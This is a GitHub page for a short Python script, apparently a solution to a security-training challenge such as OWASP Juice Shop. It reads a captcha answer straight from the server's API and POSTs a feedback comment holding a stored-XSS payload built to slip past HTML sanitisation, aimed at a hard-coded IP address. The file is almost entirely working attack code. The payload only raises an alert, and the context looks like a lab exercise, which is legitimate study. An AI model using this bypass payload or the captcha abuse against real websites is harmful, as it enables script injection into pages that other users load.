-
Notifications
You must be signed in to change notification settings - Fork 0
/
14_server_side_xss.py
45 lines (44 loc) · 1.55 KB
/
14_server_side_xss.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from urllib.request import urlopen, Request
from json import dumps, load
response = urlopen(
Request(
"http://15.236.144.183:8082/rest/captcha/",
headers={
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Origin": "http://15.236.144.183:8082",
"Referer": "http://15.236.144.183:8082/",
"Cookie": (
"language=en; welcomebanner_status=dismiss;"
" continueCode=ZaRwEmgxBPbY2oq9vKejJz6AWLU9"
"TLiKZSrMdpDWVQk837ZrnN1OX5y4lLMD; cookieconsent"
"_status=dismiss"
),
},
)
)
data = load(response)
response = urlopen(
Request(
"http://15.236.144.183:8082/api/Feedbacks/",
data=dumps({
"captchaId": data["captchaId"],
"captcha": data["answer"],
"comment": '<<script>Foo</script>iframe src="javascript:alert(`xss`)">',
"rating": 0,
}).encode(),
method="POST",
headers={
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Origin": "http://15.236.144.183:8082",
"Referer": "http://15.236.144.183:8082/",
"Cookie": (
"language=en; welcomebanner_status=dismiss;"
" continueCode=ZaRwEmgxBPbY2oq9vKejJz6AWLU9"
"TLiKZSrMdpDWVQk837ZrnN1OX5y4lLMD; cookieconsent"
"_status=dismiss"
),
},
)
)